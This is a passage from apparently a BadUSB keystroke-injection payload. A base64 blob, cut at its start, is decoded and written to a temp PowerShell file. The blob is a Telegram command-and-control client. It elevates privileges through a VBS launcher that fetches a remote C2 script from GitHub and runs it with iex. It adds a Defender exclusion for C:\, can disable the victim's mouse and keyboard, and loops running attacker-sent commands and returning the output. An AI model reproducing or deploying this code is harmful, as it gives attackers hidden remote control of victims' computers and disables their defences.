250ZW50cyA9ICIkY2xvc2VkIEN1cnJlbnQgU2Vzc2lvbiBpcyBOT1QgQWRtaW4gJGNsb3NlZCINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgIH0NCiAgICBlbHNlew0KICAgICRjb250ZW50cyA9ICIkdGljayBDdXJyZW50IFNlc3Npb24gSVMgQWRtaW4gJHRpY2siDQogICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICB9DQp9DQoNCkZ1bmN0aW9uIEF0dGVtcHQtRWxldmF0ZXsNCiR0b2JhdCA9IEAiDQpTZXQgV3NoU2hlbGwgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikNCldTY3JpcHQuU2xlZXAgMjAwDQoNCklmIE5vdCBXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoYCJlbGV2YXRlYCIpIFRoZW4NCiAgQ3JlYXRlT2JqZWN0KGAiU2hlbGwuQXBwbGljYXRpb25gIikuU2hlbGxFeGVjdXRlIFdTY3JpcHQuRnVsbE5hbWUgXw0KICAgICwgYCJgImAiYCIgJiBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICYgYCJgImAiIC9lbGV2YXRlYCIsIGAiYCIsIGAicnVuYXNgIiwgMQ0KICBXU2NyaXB0LlF1aXQNCkVuZCBJZg0KDQpXc2hTaGVsbC5SdW4gYCJwb3dlcnNoZWxsLmV4ZSAtTm9uSSAtTm9QIC1FcCBCeXBhc3MgLVcgSCAtQyBgJHRnPSckdGcnOyBpcm0gaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9Qb3dlcnNoZWxsLVRvb2xzLWFuZC1Ub3lzL21haW4vQ29tbWFuZC1hbmQtQ29udHJvbC9UZWxlZ3JhbS1DMi1DbGllbnQucHMxIHwgaWV4YCIsIDAsIFRydWUNCiJADQokcHRoID0gIkM6XFdpbmRvd3NcVGFza3Ncc2VydmljZS52YnMiDQokdG9iYXQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJHB0aCAtRm9yY2UNCiYgJHB0aA0KU2xlZXAgNw0Kcm0gLVBhdGggJHB0aA0KV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gVG9nZ2xlLUVycm9yc3sNCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDApew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAxDQogICAgJGNvbnRlbnRzID0gIiR0aWNrIEVycm9yIE1lc3NhZ2luZyBPTiAkdGljayINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDEpew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAwDQogICAgJGNvbnRlbnRzID0gIiRjbG9zZWQgRXJyb3IgTWVzc2FnaW5nIE9GRiAkY2xvc2VkIg0KICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgcmV0dXJuDQogICAgfQ0KfQ0KDQpGdW5jdGlvbiBNZXNzYWdlKFtzdHJpbmddJE1lc3NhZ2Upew0KICAgIG1zZy5leGUgKiAkTWVzc2FnZQ0KICAgIFdyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBBRE1JTiBPTkxZIEZVTkNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpGdW5jdGlvbiBEaXNhYmxlLUFWew0KICAgIEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggQzpcDQogICAgV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gRGlzYWJsZS1ISUR7DQogICAgJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgRGlzYWJsaW5nIEhJRCBJbnB1dHMuLiINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiAgICAkUE5QTWljZSA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ01vdXNlJ30NCiAgICAkUE5QTWljZS5EaXNhYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkRpc2FibGUoKQ0KfQ0KDQpGdW5jdGlvbiBFbmFibGUtSElEew0KICAgICRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFbmFibGluZyBISUQgSW5wdXRzLi4iDQogICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQogICAgJFBOUE1pY2UgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdNb3VzZSd9DQogICAgJFBOUE1pY2UuRW5hYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkVuYWJsZSgpDQp9DQoNCg0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBURUxFR1JBTSBGVUNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCkZ1bmN0aW9uIElzQXV0aHsgDQpwYXJhbSgkQ2hlY2tNZXNzYWdlKQ0KICAgIGlmICgoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJExhc3RVbkF1dGhNc2cpIC1hbmQgKCRDaGVja01lc3NhZ2UubWVzc2FnZS50ZXh0IC1saWtlICRQYXNzUGhyYXNlKSAtYW5kICgkQ2hlY2tNZXNzYWdlLm1lc3NhZ2UuZnJvbS5pc19ib3QgLWxpa2UgJGZhbHNlKSl7DQogICAgICAgICRzY3JpcHQ6QWNjZXB0ZWRTZXNzaW9uPSJBdXRoZW50aWNhdGVkIg0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgU2Vzc2lvbiBTdGFydGluZy4uLiINCiAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KICAgICAgICBTaG93QnV0dG9ucw0KICAgICAgICByZXR1cm4gJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgIH1FbHNle3JldHVybiAwfQ0KfQ0KDQpGdW5jdGlvbiBDbGVhblN0cmluZ3sNCnBhcmFtKCRTdHJlYW0pDQokRml4ZWRSZXN1bHQ9QCgpDQokU3RyZWFtIHwgT3V0LUZpbGUgLUZpbGVQYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgLUZvcmNlDQokUmVhZEFzQXJyYXk9IEdldC1Db250ZW50IC1QYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgfCB3aGVyZSB7JF8ubGVuZ3RoIC1ndCAwfQ0KZm9yZWFjaCAoJGxpbmUgaW4gJFJlYWRBc0FycmF5KXsNCiAgICAkQXJyT2JqPU5ldy1PYmplY3QgcHNvYmplY3QNCiAgICAkQXJyT2JqIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIkxpbmUiIC1WYWx1ZSAoJGxpbmUpLnRvc3RyaW5nKCkNCiAgICAkRml4ZWRSZXN1bHQgKz0kQXJyT2JqDQp9DQpyZXR1cm4gJEZpeGVkUmVzdWx0DQp9DQoNCkZ1bmN0aW9uIFNlbmRNU0d7DQpwYXJhbSgkTWVzc2FnZXRleHQsJENoYXRJRCkNCiRGaXhlZFRleHQ9Q2xlYW5TdHJpbmcgLVN0cmVhbSAkTWVzc2FnZXRleHQNCiRNdHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAndGV4dCcgLVZhbHVlICRGaXhlZFRleHQubGluZSAtRm9yY2UNCiRKc29uRGF0YT0oJE10cyB8IENvbnZlcnRUby1Kc29uKQ0KaXJtIC1NZXRob2QgUG9zdCAtVXJpICgkVVJMICsnL3NlbmRNZXNzYWdlJykgLUJvZHkgJEpzb25EYXRhIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiINCiRjYXRjaGVyID0gJEZpeGVkVGV4dA0KfQ0KDQpGdW5jdGlvbiBSZWNlaXZlTVNHew0KdHJ5ew0KICAgICRpbk1lc3NhZ2U9aXJtIC1NZXRob2QgR2V0IC1VcmkgKCRVUkwgKycvZ2V0VXBkYXRlcycpIC1FcnJvckFjdGlvbiBTdG9wDQogICAgcmV0dXJuICRpbk1lc3NhZ2UucmVzdWx0Wy0xXQ0KICAgIH0NCkNhdGNoe3JldHVybiAiVEdGYWlsIn0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFNUQVJUIFRIRSBXQUlUIFRPIENPTk5FQ1QgTE9PUCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KV2hpbGUgKCR0cnVlKXsNClNsZWVwIDINCiRtZXNzYWdlcz1SZWNlaXZlTVNHDQogICAgaWYgKCRMYXN0VW5BdXRoTXNnIC1saWtlICRudWxsKXskTGFzdFVuQXV0aE1zZz0kbWVzc2FnZXMubWVzc2FnZS5kYXRlfQ0KICAgIGlmICghKCRBY2NlcHRlZFNlc3Npb24pKXskQ2hlY2tBdXRoZW50aWNhdGlvbj1Jc0F1dGggLUNoZWNrTWVzc2FnZSAkbWVzc2FnZXN9DQogICAgRWxzZXsNCiAgICAgICAgaWYgKCgkQ2hlY2tBdXRoZW50aWNhdGlvbiAtbmUgMCkgLWFuZCAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtbm90bGlrZSAkUGFzc1BocmFzZSkgLWFuZCAoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJGxhc3RleGVjTWVzc2FnZUlEKSl7DQogICAgICAgICAgICB0cnl7DQogICAgICAgICAgICAgICAgJFJlc3VsdD1pZWB4KCRtZXNzYWdlcy5tZXNzYWdlLnRleHQpIC1FcnJvckFjdGlvbiBTdG9wDQogICAgICAgICAgICAgICAgJFJlc3VsdA0KICAgICAgICAgICAgICAgIGlmICgoJHJlc3VsdC5sZW5ndGggLWVxIDApIC1vciAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgIktleUNhcHR1cmUiKSAtb3IgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJFeGZpbHRyYXRpb24iKSl7fQ0KICAgICAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgICAgU2VuZE1TRyAtTWVzc2FnZXRleHQgJFJlc3VsdCAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWNhdGNoIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGdsb2JhbDplcnJvcm1zZyAtZXEgMSl7DQogICAgICAgICAgICAgICAgICAgIFNlbmRNU0cgLU1lc3NhZ2V0ZXh0ICgkXy5leGNlcHRpb24ubWVzc2FnZSkgLUNoYXRJRCAkbWVzc2FnZXMubWVzc2FnZS5jaGF0LmlkDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICBGaW5hbGx5eyRsYXN0ZXhlY01lc3NhZ2VJRD0kbWVzc2FnZXMubWVzc2FnZS5kYXRlfQ0KICAgICAgICB9DQogICAgfQ==' ENTER STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append ENTER